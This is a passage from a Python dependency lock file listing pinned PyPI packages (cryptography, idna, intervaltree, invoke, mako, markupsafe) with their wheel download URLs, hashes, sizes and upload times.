{ url = "https://files.pythonhosted.org/packages/e9/5a/ac0f49e48063ab4255d9e3b79f5def51697fce1a95ea1370f03dc9db76f6/cryptography-46.0.5-cp311-abi3-win_amd64.whl", hash = "sha256:38946c54b16c885c72c4f59846be9743d699eee2b69b6988e0a00a01f46a61a4", size = 3480909, upload-time = "2026-02-10T19:17:32.083Z" },
{ url = "https://files.pythonhosted.org/packages/00/13/3d278bfa7a15a96b9dc22db5a12ad1e48a9eb3d40e1827ef66a5df75d0d0/cryptography-46.0.5-cp314-cp314t-macosx_10_9_universal2.whl", hash = "sha256:94a76daa32eb78d61339aff7952ea819b1734b46f73646a07decb40e5b3448e2", size = 7119287, upload-time = "2026-02-10T19:17:33.801Z" },
{ url = "https://files.pythonhosted.org/packages/67/c8/581a6702e14f0898a0848105cbefd20c058099e2c2d22ef4e476dfec75d7/cryptography-46.0.5-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:5be7bf2fb40769e05739dd0046e7b26f9d4670badc7b032d6ce4db64dddc0678", size = 4265728, upload-time = "2026-02-10T19:17:35.569Z" },
{ url = "https://files.pythonhosted.org/packages/dd/4a/ba1a65ce8fc65435e5a849558379896c957870dd64fecea97b1ad5f46a37/cryptography-46.0.5-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:fe346b143ff9685e40192a4960938545c699054ba11d4f9029f94751e3f71d87", size = 4408287, upload-time = "2026-02-10T19:17:36.938Z" },
{ url = "https://files.pythonhosted.org/packages/f8/67/8ffdbf7b65ed1ac224d1c2df3943553766914a8ca718747ee3871da6107e/cryptography-46.0.5-cp314-cp314t-manylinux_2_28_aarch64.whl", hash = "sha256:c69fd885df7d089548a42d5ec05be26050ebcd2283d89b3d30676eb32ff87dee", size = 4270291, upload-time = "2026-02-10T19:17:38.748Z" },
{ url = "https://files.pythonhosted.org/packages/f8/e5/f52377ee93bc2f2bba55a41a886fd208c15276ffbd2569f2ddc89d50e2c5/cryptography-46.0.5-cp314-cp314t-manylinux_2_28_ppc64le.whl", hash = "sha256:8293f3dea7fc929ef7240796ba231413afa7b68ce38fd21da2995549f5961981", size = 4927539, upload-time = "2026-02-10T19:17:40.241Z" },
{ url = "https://files.pythonhosted.org/packages/3b/02/cfe39181b02419bbbbcf3abdd16c1c5c8541f03ca8bda240debc467d5a12/cryptography-46.0.5-cp314-cp314t-manylinux_2_28_x86_64.whl", hash = "sha256:1abfdb89b41c3be0365328a410baa9df3ff8a9110fb75e7b52e66803ddabc9a9", size = 4442199, upload-time = "2026-02-10T19:17:41.789Z" },
{ url = "https://files.pythonhosted.org/packages/c0/96/2fcaeb4873e536cf71421a388a6c11b5bc846e986b2b069c79363dc1648e/cryptography-46.0.5-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:d66e421495fdb797610a08f43b05269e0a5ea7f5e652a89bfd5a7d3c1dee3648", size = 3960131, upload-time = "2026-02-10T19:17:43.379Z" },
{ url = "https://files.pythonhosted.org/packages/d8/d2/b27631f401ddd644e94c5cf33c9a4069f72011821cf3dc7309546b0642a0/cryptography-46.0.5-cp314-cp314t-manylinux_2_34_aarch64.whl", hash = "sha256:4e817a8920bfbcff8940ecfd60f23d01836408242b30f1a708d93198393a80b4", size = 4270072, upload-time = "2026-02-10T19:17:45.481Z" },
{ url = "https://files.pythonhosted.org/packages/f4/a7/60d32b0370dae0b4ebe55ffa10e8599a2a59935b5ece1b9f06edb73abdeb/cryptography-46.0.5-cp314-cp314t-manylinux_2_34_ppc64le.whl", hash = "sha256:68f68d13f2e1cb95163fa3b4db4bf9a159a418f5f6e7242564fc75fcae667fd0", size = 4892170, upload-time = "2026-02-10T19:17:46.997Z" },
{ url = "https://files.pythonhosted.org/packages/d2/b9/cf73ddf8ef1164330eb0b199a589103c363afa0cf794218c24d524a58eab/cryptography-46.0.5-cp314-cp314t-manylinux_2_34_x86_64.whl", hash = "sha256:a3d1fae9863299076f05cb8a778c467578262fae09f9dc0ee9b12eb4268ce663", size = 4441741, upload-time = "2026-02-10T19:17:48.661Z" },
{ url = "https://files.pythonhosted.org/packages/5f/eb/eee00b28c84c726fe8fa0158c65afe312d9c3b78d9d01daf700f1f6e37ff/cryptography-46.0.5-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:c4143987a42a2397f2fc3b4d7e3a7d313fbe684f67ff443999e803dd75a76826", size = 4396728, upload-time = "2026-02-10T19:17:50.058Z" },
{ url = "https://files.pythonhosted.org/packages/65/f4/6bc1a9ed5aef7145045114b75b77c2a8261b4d38717bd8dea111a63c3442/cryptography-46.0.5-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:7d731d4b107030987fd61a7f8ab512b25b53cef8f233a97379ede116f30eb67d", size = 4652001, upload-time = "2026-02-10T19:17:51.54Z" },
{ url = "https://files.pythonhosted.org/packages/86/ef/5d00ef966ddd71ac2e6951d278884a84a40ffbd88948ef0e294b214ae9e4/cryptography-46.0.5-cp314-cp314t-win32.whl", hash = "sha256:c3bcce8521d785d510b2aad26ae2c966092b7daa8f45dd8f44734a104dc0bc1a", size = 3003637, upload-time = "2026-02-10T19:17:52.997Z" },
{ url = "https://files.pythonhosted.org/packages/b7/57/f3f4160123da6d098db78350fdfd9705057aad21de7388eacb2401dceab9/cryptography-46.0.5-cp314-cp314t-win_amd64.whl", hash = "sha256:4d8ae8659ab18c65ced284993c2265910f6c9e650189d4e3f68445ef82a810e4", size = 3469487, upload-time = "2026-02-10T19:17:54.549Z" },
{ url = "https://files.pythonhosted.org/packages/e2/fa/a66aa722105ad6a458bebd64086ca2b72cdd361fed31763d20390f6f1389/cryptography-46.0.5-cp38-abi3-macosx_10_9_universal2.whl", hash = "sha256:4108d4c09fbbf2789d0c926eb4152ae1760d5a2d97612b92d508d96c861e4d31", size = 7170514, upload-time = "2026-02-10T19:17:56.267Z" },
{ url = "https://files.pythonhosted.org/packages/0f/04/c85bdeab78c8bc77b701bf0d9bdcf514c044e18a46dcff330df5448631b0/cryptography-46.0.5-cp38-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:7d1f30a86d2757199cb2d56e48cce14deddf1f9c95f1ef1b64ee91ea43fe2e18", size = 4275349, upload-time = "2026-02-10T19:17:58.419Z" },
{ url = "https://files.pythonhosted.org/packages/5c/32/9b87132a2f91ee7f5223b091dc963055503e9b442c98fc0b8a5ca765fab0/cryptography-46.0.5-cp38-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:039917b0dc418bb9f6edce8a906572d69e74bd330b0b3fea4f79dab7f8ddd235", size = 4420667, upload-time = "2026-02-10T19:18:00.619Z" },
{ url = "https://files.pythonhosted.org/packages/a1/a6/a7cb7010bec4b7c5692ca6f024150371b295ee1c108bdc1c400e4c44562b/cryptography-46.0.5-cp38-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:ba2a27ff02f48193fc4daeadf8ad2590516fa3d0adeeb34336b96f7fa64c1e3a", size = 4276980, upload-time = "2026-02-10T19:18:02.379Z" },
{ url = "https://files.pythonhosted.org/packages/8e/7c/c4f45e0eeff9b91e3f12dbd0e165fcf2a38847288fcfd889deea99fb7b6d/cryptography-46.0.5-cp38-abi3-manylinux_2_28_ppc64le.whl", hash = "sha256:61aa400dce22cb001a98014f647dc21cda08f7915ceb95df0c9eaf84b4b6af76", size = 4939143, upload-time = "2026-02-10T19:18:03.964Z" },
{ url = "https://files.pythonhosted.org/packages/37/19/e1b8f964a834eddb44fa1b9a9976f4e414cbb7aa62809b6760c8803d22d1/cryptography-46.0.5-cp38-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:3ce58ba46e1bc2aac4f7d9290223cead56743fa6ab94a5d53292ffaac6a91614", size = 4453674, upload-time = "2026-02-10T19:18:05.588Z" },
{ url = "https://files.pythonhosted.org/packages/db/ed/db15d3956f65264ca204625597c410d420e26530c4e2943e05a0d2f24d51/cryptography-46.0.5-cp38-abi3-manylinux_2_31_armv7l.whl", hash = "sha256:420d0e909050490d04359e7fdb5ed7e667ca5c3c402b809ae2563d7e66a92229", size = 3978801, upload-time = "2026-02-10T19:18:07.167Z" },
{ url = "https://files.pythonhosted.org/packages/41/e2/df40a31d82df0a70a0daf69791f91dbb70e47644c58581d654879b382d11/cryptography-46.0.5-cp38-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:582f5fcd2afa31622f317f80426a027f30dc792e9c80ffee87b993200ea115f1", size = 4276755, upload-time = "2026-02-10T19:18:09.813Z" },
{ url = "https://files.pythonhosted.org/packages/33/45/726809d1176959f4a896b86907b98ff4391a8aa29c0aaaf9450a8a10630e/cryptography-46.0.5-cp38-abi3-manylinux_2_34_ppc64le.whl", hash = "sha256:bfd56bb4b37ed4f330b82402f6f435845a5f5648edf1ad497da51a8452d5d62d", size = 4901539, upload-time = "2026-02-10T19:18:11.263Z" },
{ url = "https://files.pythonhosted.org/packages/99/0f/a3076874e9c88ecb2ecc31382f6e7c21b428ede6f55aafa1aa272613e3cd/cryptography-46.0.5-cp38-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:a3d507bb6a513ca96ba84443226af944b0f7f47dcc9a399d110cd6146481d24c", size = 4452794, upload-time = "2026-02-10T19:18:12.914Z" },
{ url = "https://files.pythonhosted.org/packages/02/ef/ffeb542d3683d24194a38f66ca17c0a4b8bf10631feef44a7ef64e631b1a/cryptography-46.0.5-cp38-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:9f16fbdf4da055efb21c22d81b89f155f02ba420558db21288b3d0035bafd5f4", size = 4404160, upload-time = "2026-02-10T19:18:14.375Z" },
{ url = "https://files.pythonhosted.org/packages/96/93/682d2b43c1d5f1406ed048f377c0fc9fc8f7b0447a478d5c65ab3d3a66eb/cryptography-46.0.5-cp38-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:ced80795227d70549a411a4ab66e8ce307899fad2220ce5ab2f296e687eacde9", size = 4667123, upload-time = "2026-02-10T19:18:15.886Z" },
{ url = "https://files.pythonhosted.org/packages/45/2d/9c5f2926cb5300a8eefc3f4f0b3f3df39db7f7ce40c8365444c49363cbda/cryptography-46.0.5-cp38-abi3-win32.whl", hash = "sha256:02f547fce831f5096c9a567fd41bc12ca8f11df260959ecc7c3202555cc47a72", size = 3010220, upload-time = "2026-02-10T19:18:17.361Z" },
{ url = "https://files.pythonhosted.org/packages/48/ef/0c2f4a8e31018a986949d34a01115dd057bf536905dca38897bacd21fac3/cryptography-46.0.5-cp38-abi3-win_amd64.whl", hash = "sha256:556e106ee01aa13484ce9b0239bca667be5004efb0aabbed28d353df86445595", size = 3467050, upload-time = "2026-02-10T19:18:18.899Z" },
]
[[package]]
name = "idna"
version = "3.11"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/6f/6d/0703ccc57f3a7233505399edb88de3cbd678da106337b9fcde432b65ed60/idna-3.11.tar.gz", hash = "sha256:795dafcc9c04ed0c1fb032c2aa73654d8e8c5023a7df64a53f39190ada629902", size = 194582, upload-time = "2025-10-12T14:55:20.501Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/0e/61/66938bbb5fc52dbdf84594873d5b51fb1f7c7794e9c0f5bd885f30bc507b/idna-3.11-py3-none-any.whl", hash = "sha256:771a87f49d9defaf64091e6e6fe9c18d4833f140bd19464795bc32d966ca37ea", size = 71008, upload-time = "2025-10-12T14:55:18.883Z" },
]
[[package]]
name = "intervaltree"
version = "3.2.1"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "sortedcontainers" },
]
sdist = { url = "https://files.pythonhosted.org/packages/53/c3/b2afa612aa0373f3e6bb190e6de35f293b307d1537f109e3e25dbfcdf212/intervaltree-3.2.1.tar.gz", hash = "sha256:f3f7e8baeb7dd75b9f7a6d33cf3ec10025984a8e66e3016d537e52130c73cfe2", size = 1231531, upload-time = "2025-12-24T04:25:06.773Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/83/7f/8a80a1c7c2ed05822b5a2b312d2995f30c533641f8198366ba2e26a7bb03/intervaltree-3.2.1-py2.py3-none-any.whl", hash = "sha256:a8a8381bbd35d48ceebee932c77ffc988492d22fb1d27d0ba1d74a7694eb8f0b", size = 25929, upload-time = "2025-12-24T04:25:05.298Z" },
]
[[package]]
name = "invoke"
version = "2.2.1"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/de/bd/b461d3424a24c80490313fd77feeb666ca4f6a28c7e72713e3d9095719b4/invoke-2.2.1.tar.gz", hash = "sha256:515bf49b4a48932b79b024590348da22f39c4942dff991ad1fb8b8baea1be707", size = 304762, upload-time = "2025-10-11T00:36:35.172Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/32/4b/b99e37f88336009971405cbb7630610322ed6fbfa31e1d7ab3fbf3049a2d/invoke-2.2.1-py3-none-any.whl", hash = "sha256:2413bc441b376e5cd3f55bb5d364f973ad8bdd7bf87e53c79de3c11bf3feecc8", size = 160287, upload-time = "2025-10-11T00:36:33.703Z" },
]
[[package]]
name = "mako"
version = "1.3.10"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "markupsafe" },
]
sdist = { url = "https://files.pythonhosted.org/packages/9e/38/bd5b78a920a64d708fe6bc8e0a2c075e1389d53bef8413725c63ba041535/mako-1.3.10.tar.gz", hash = "sha256:99579a6f39583fa7e5630a28c3c1f440e4e97a414b80372649c0ce338da2ea28", size = 392474, upload-time = "2025-04-10T12:44:31.16Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/87/fb/99f81ac72ae23375f22b7afdb7642aba97c00a713c217124420147681a2f/mako-1.3.10-py3-none-any.whl", hash = "sha256:baef24a52fc4fc514a0887ac600f9f1cff3d82c61d4d700a1fa84d597b88db59", size = 78509, upload-time = "2025-04-10T12:50:53.297Z" },
]
[[package]]
name = "markupsafe"
version = "3.0.3"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/7e/99/7690b6d4034fffd95959cbe0c02de8deb3098cc577c67bb6a24fe5d7caa7/markupsafe-3.0.3.tar.gz", hash = "sha256:722695808f4b6457b320fdc131280796bdceb04ab50fe1795cd540799ebe1698", size = 80313, upload-time = "2025-09-27T18:37:40.426Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/38/2f/907b9c7bbba283e68f20259574b13d005c121a0fa4c175f9bed27c4597ff/markupsafe-3.0.3-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:e1cf1972137e83c5d4c136c43ced9ac51d0e124706ee1c8aa8532c1287fa8795", size = 11622, upload-time = "2025-09-27T18:36:41.777Z" },
{ url = "https://files.pythonhosted.org/packages/9c/d9/5f7756922cdd676869eca1c4e3c0cd0df60ed30199ffd775e319089cb3ed/markupsafe-3.0.3-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:116bb52f642a37c115f517494ea5feb03889e04df47eeff5b130b1808ce7c219", size = 12029, upload-time = "2025-09-27T18:36:43.257Z" },
{ url = "https://files.pythonhosted.org/packages/00/07/575a68c754943058c78f30db02ee03a64b3c638586fba6a6dd56830b30a3/markupsafe-3.0.3-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:133a43e73a802c5562be9bbcd03d090aa5a1fe899db609c29e8c8d815c5f6de6", size = 24374, upload-time = "2025-09-27T18:36:44.508Z" },
{ url = "https://files.pythonhosted.org/packages/a9/21/9b05698b46f218fc0e118e1f8168395c65c8a2c750ae2bab54fc4bd4e0e8/markupsafe-3.0.3-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ccfcd093f13f0f0b7fdd0f198b90053bf7b2f02a3927a30e63f3ccc9df56b676", size = 22980, upload-time = "2025-09-27T18:36:45.385Z" },
{ url = "https://files.pythonhosted.org/packages/7f/71/544260864f893f18b6827315b988c146b559391e6e7e8f7252839b1b846a/markupsafe-3.0.3-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:509fa21c6deb7a7a273d629cf5ec029bc209d1a51178615ddf718f5918992ab9", size = 21990, upload-time = "2025-09-27T18:36:46.916Z" },
{ url = "https://files.pythonhosted.org/packages/c2/28/b50fc2f74d1ad761af2f5dcce7492648b983d00a65b8c0e0cb457c82ebbe/markupsafe-3.0.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:a4afe79fb3de0b7097d81da19090f4df4f8d3a2b3adaa8764138aac2e44f3af1", size = 23784, upload-time = "2025-09-27T18:36:47.884Z" },
{ url = "https://files.pythonhosted.org/packages/ed/76/104b2aa106a208da8b17a2fb72e033a5a9d7073c68f7e508b94916ed47a9/markupsafe-3.0.3-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:795e7751525cae078558e679d646ae45574b47ed6e7771863fcc079a6171a0fc", size = 21588, upload-time = "2025-09-27T18:36:48.82Z" },
{ url = "https://files.pythonhosted.org/packages/b5/99/16a5eb2d140087ebd97180d95249b00a03aa87e29cc224056274f2e45fd6/markupsafe-3.0.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:8485f406a96febb5140bfeca44a73e3ce5116b2501ac54fe953e488fb1d03b12", size = 23041, upload-time = "2025-09-27T18:36:49.797Z" },
{ url = "https://files.pythonhosted.org/packages/19/bc/e7140ed90c5d61d77cea142eed9f9c303f4c4806f60a1044c13e3f1471d0/markupsafe-3.0.3-cp313-cp313-win32.whl", hash = "sha256:bdd37121970bfd8be76c5fb069c7751683bdf373db1ed6c010162b2a130248ed", size = 14543, upload-time = "2025-09-27T18:36:51.584Z" },
{ url = "https://files.pythonhosted.org/packages/05/73/c4abe620b841b6b791f2edc248f556900667a5a1cf023a6646967ae98335/markupsafe-3.0.3-cp313-cp313-win_amd64.whl", hash = "sha256:9a1abfdc021a164803f4d485104931fb8f8c1efd55bc6b748d2f5774e78b62c5", size = 15113, upload-time = "2025-09-27T18:36:52.537Z" },
{ url = "https://files.pythonhosted.org/packages/f0/3a/fa34a0f7cfef23cf9500d68cb7c32dd64ffd58a12b09225fb03dd37d5b80/markupsafe-3.0.3-cp313-cp313-win_arm64.whl", hash = "sha256:7e68f88e5b8799aa49c85cd116c932a1ac15caaa3f5db09087854d218359e485", size = 13911, upload-time = "2025-09-27T18:36:53.513Z" },
{ url = "https://files.pythonhosted.org/packages/e4/d7/e05cd7efe43a88a17a37b3ae96e79a19e846f3f456fe79c57ca61356ef01/markupsafe-3.0.3-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:218551f6df4868a8d527e3062d0fb968682fe92054e89978594c28e642c43a73", size = 11658, upload-time = "2025-09-27T18:36:54.819Z" },
{ url = "https://files.pythonhosted.org/packages/99/9e/e412117548182ce2148bdeacdda3bb494260c0b0184360fe0d56389b523b/markupsafe-3.0.3-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:3524b778fe5cfb3452a09d31e7b5adefeea8c5be1d43c4f810ba09f2ceb29d37", size = 12066, upload-time = "2025-09-27T18:36:55.714Z" },
{ url = "https://files.pythonhosted.org/packages/bc/e6/fa0ffcda717ef64a5108eaa7b4f5ed28d56122c9a6d70ab8b72f9f715c80/markupsafe-3.0.3-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4e885a3d1efa2eadc93c894a21770e4bc67899e3543680313b09f139e149ab19", size = 25639, upload-time = "2025-09-27T18:36:56.908Z" },
{ url = "https://files.pythonhosted.org/packages/96/ec/2102e881fe9d25fc16cb4b25d5f5cde50970967ffa5dddafdb771237062d/markupsafe-3.0.3-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8709b08f4a89aa7586de0aadc8da56180242ee0ada3999749b183aa23df95025", size = 23569, upload-time = "2025-09-27T18:36:57.913Z" },
{ url = "https://files.pythonhosted.org/packages/4b/30/6f2fce1f1f205fc9323255b216ca8a235b15860c34b6798f810f05828e32/markupsafe-3.0.3-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:b8512a91625c9b3da6f127803b166b629725e68af71f8184ae7e7d54686a56d6", size = 23284, upload-time = "2025-09-27T18:36:58.833Z" },
{ url = "https://files.pythonhosted.org/packages/58/47/4a0ccea4ab9f5dcb6f79c0236d954acb382202721e704223a8aafa38b5c8/markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:9b79b7a16f7fedff2495d684f2b59b0457c3b493778c9eed31111be64d58279f", size = 24801, upload-time = "2025-09-27T18:36:59.739Z" },
{ url = "https://files.pythonhosted.org/packages/6a/70/3780e9b72180b6fecb83a4814d84c3bf4b4ae4bf0b19c27196104149734c/markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:12c63dfb4a98206f045aa9563db46507995f7ef6d83b2f68eda65c307c6829eb", size = 22769, upload-time = "2025-09-27T18:37:00.719Z" },
{ url = "https://files.pythonhosted.org/packages/98/c5/c03c7f4125180fc215220c035beac6b9cb684bc7a067c84fc69414d315f5/markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:8f71bc33915be5186016f675cd83a1e08523649b0e33efdb898db577ef5bb009", size = 23642, upload-time = "2025-09-27T18:37:01.673Z" },
{ url = "https://files.pythonhosted.org/packages/80/d6/2d1b89f6ca4bff1036499b1e29a1d02d282259f3681540e16563f27ebc23/markupsafe-3.0.3-cp313-cp313t-win32.whl", hash = "sha256:69c0b73548bc525c8cb9a251cddf1931d1db4d2258e9599c28c07ef3580ef354", size = 14612, upload-time = "2025-09-27T18:37:02.639Z" },
{ url = "https://files.pythonhosted.org/packages/2b/98/e48a4bfba0a0ffcf9925fe2d69240bfaa19c6f7507b8cd09c70684a53c1e/markupsafe-3.0.3-cp313-cp313t-win_amd64.whl", hash = "sha256:1b4b79e8ebf6b55351f0d91fe80f893b4743f104bff22e90697db1590e47a218", size = 15200, upload-time = "2025-09-27T18:37:03.582Z" },
{ url = "https://files.pythonhosted.org/packages/0e/72/e3cc540f351f316e9ed0f092757459afbc595824ca724cbc5a5d4263713f/markupsafe-3.0.3-cp313-cp313t-win_arm64.whl", hash = "sha256:ad2cf8aa28b8c020ab2fc8287b0f823d0a7d8630784c31e9ee5edea20f406287", size = 13973, upload-time = "2025-09-27T18:37:04.929Z" },
{ url = "https://files.pythonhosted.org/packages/33/8a/8e42d4838cd89b7dde187011e97fe6c3af66d8c044997d2183fbd6d31352/markupsafe-3.0.3-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:eaa9599de571d72e2daf60164784109f19978b327a3910d3e9de8c97b5b70cfe", size = 11619, upload-time = "2025-09-27T18:37:06.342Z" },
{ url = "https://files.pythonhosted.org/packages/b5/64/7660f8a4a8e53c924d0fa05dc3a55c9cee10bbd82b11c5afb27d44b096ce/markupsafe-3.0.3-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:c47a551199eb8eb2121d4f0f15ae0f923d31350ab9280078d1e5f12b249e0026", size = 12029, upload-time = "2025-09-27T18:37:07.213Z" },
{ url = "https://files.pythonhosted.org/packages/da/ef/e648bfd021127bef5fa12e1720ffed0c6cbb8310c8d9bea7266337ff06de/markupsafe-3.0.3-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f34c41761022dd093b4b6896d4810782ffbabe30f2d443ff5f083e0cbbb8c737", size = 24408, upload-time = "2025-09-27T18:37:09.572Z" },
{ url = "https://files.pythonhosted.org/packages/41/3c/a36c2450754618e62008bf7435ccb0f88053e07592e6028a34776213d877/markupsafe-3.0.3-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:457a69a9577064c05a97c41f4e65148652db078a3a509039e64d3467b9e7ef97", size = 23005, upload-time = "2025-09-27T18:37:10.58Z" },
{ url = "https://files.pythonhosted.org/packages/bc/20/b7fdf89a8456b099837cd1dc21974632a02a999ec9bf7ca3e490aacd98e7/markupsafe-3.0.3-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e8afc3f2ccfa24215f8cb28dcf43f0113ac3c37c2f0f0806d8c70e4228c5cf4d", size = 22048, upload-time = "2025-09-27T18:37:11.547Z" },
{ url = "https://files.pythonhosted.org/packages/9a/a7/591f592afdc734f47db08a75793a55d7fbcc6902a723ae4cfbab61010cc5/markupsafe-3.0.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:ec15a59cf5af7be74194f7ab02d0f59a62bdcf1a537677ce67a2537c9b87fcda", size = 23821, upload-time = "2025-09-27T18:37:12.48Z" },
{ url = "https://files.pythonhosted.org/packages/7d/33/45b24e4f44195b26521bc6f1a82197118f74df348556594bd2262bda1038/markupsafe-3.0.3-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:0eb9ff8191e8498cca014656ae6b8d61f39da5f95b488805da4bb029cccbfbaf", size = 21606, upload-time = "2025-09-27T18:37:13.485Z" },
{ url = "https://files.pythonhosted.org/packages/ff/0e/53dfaca23a69fbfbbf17a4b64072090e70717344c52eaaaa9c5ddff1e5f0/markupsafe-3.0.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:2713baf880df847f2bece4230d4d094280f4e67b1e813eec43b4c0e144a34ffe", size = 23043, upload-time = "2025-09-27T18:37:14.408Z" },
{ url = "https://files.pythonhosted.org/packages/46/11/f333a06fc16236d5238bfe74daccbca41459dcd8d1fa952e8fbd5dccfb70/markupsafe-3.0.3-cp314-cp314-win32.whl", hash = "sha256:729586769a26dbceff69f7a7dbbf59ab6572b99d94576a5592625d5b411576b9", size = 14747, upload-time = "2025-09-27T18:37:15.36Z" },
{ url = "https://files.pythonhosted.org/packages/28/52/182836104b33b444e400b14f797212f720cbc9ed6ba34c800639d154e821/markupsafe-3.0.3-cp314-cp314-win_amd64.whl", hash = "sha256:bdc919ead48f234740ad807933cdf545180bfbe9342c2bb451556db2ed958581", size = 15341, upload-time = "2025-09-27T18:37:16.496Z" },
{ url = "https://files.pythonhosted.org/packages/6f/18/acf23e91bd94fd7b3031558b1f013adfa21a8e407a3fdb32745538730382/markupsafe-3.0.3-cp314-cp314-win_arm64.whl", hash = "sha256:5a7d5dc5140555cf21a6fefbdbf8723f06fcd2f63ef108f2854de715e4422cb4", size = 14073, upload-time = "2025-09-27T18:37:17.476Z" },
{ url = "https://files.pythonhosted.org/packages/3c/f0/57689aa4076e1b43b15fdfa646b04653969d50cf30c32a102762be2485da/markupsafe-3.0.3-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:1353ef0c1b138e1907ae78e2f6c63ff67501122006b0f9abad68fda5f4ffc6ab", size = 11661, upload-time = "2025-09-27T18:37:18.453Z" },
{ url = "https://files.pythonhosted.org/packages/89/c3/2e67a7ca217c6912985ec766c6393b636fb0c2344443ff9d91404dc4c79f/markupsafe-3.0.3-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:1085e7fbddd3be5f89cc898938f42c0b3c711fdcb37d75221de2666af647c175", size = 12069, upload-time = "2025-09-27T18:37:19.332Z" },
{ url = "https://files.pythonhosted.org/packages/f0/00/be561dce4e6ca66b15276e184ce4b8aec61fe83662cce2f7d72bd3249d28/markupsafe-3.0.3-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1b52b4fb9df4eb9ae465f8d0c228a00624de2334f216f178a995ccdcf82c4634", size = 25670, upload-time = "2025-09-27T18:37:20.245Z" },
{ url = "https://files.pythonhosted.org/packages/50/09/c419f6f5a92e5fadde27efd190eca90f05e1261b10dbd8cbcb39cd8ea1dc/markupsafe-3.0.3-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:fed51ac40f757d41b7c48425901843666a6677e3e8eb0abcff09e4ba6e664f50", size = 23598, upload-time = "2025-09-27T18:37:21.177Z" },
{ url = "https://files.pythonhosted.org/packages/22/44/a0681611106e0b2921b3033fc19bc53323e0b50bc70cffdd19f7d679bb66/markupsafe-3.0.3-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:f190daf01f13c72eac4efd5c430a8de82489d9cff23c364c3ea822545032993e", size = 23261, upload-time = "2025-09-27T18:37:22.167Z" },
{ url = "https://files.pythonhosted.org/packages/5f/57/1b0b3f100259dc9fffe780cfb60d4be71375510e435efec3d116b6436d43/markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:e56b7d45a839a697b5eb268c82a71bd8c7f6c94d6fd50c3d577fa39a9f1409f5", size = 24835, upload-time = "2025-09-27T18:37:23.296Z" },
{ url = "https://files.pythonhosted.org/packages/26/6a/4bf6d0c97c4920f1597cc14dd720705eca0bf7c787aebc6bb4d1bead5388/markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:f3e98bb3798ead92273dc0e5fd0f31ade220f59a266ffd8a4f6065e0a3ce0523", size = 22733, upload-time = "2025-09-27T18:37:24.237Z" },
{ url = "https://files.pythonhosted.org/packages/14/c7/ca723101509b518797fedc2fdf79ba57f886b4aca8a7d31857ba3ee8281f/markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:5678211cb9333a6468fb8d8be0305520aa073f50d17f089b5b4b477ea6e67fdc", size = 23672, upload-time = "2025-09-27T18:37:25.271Z" },
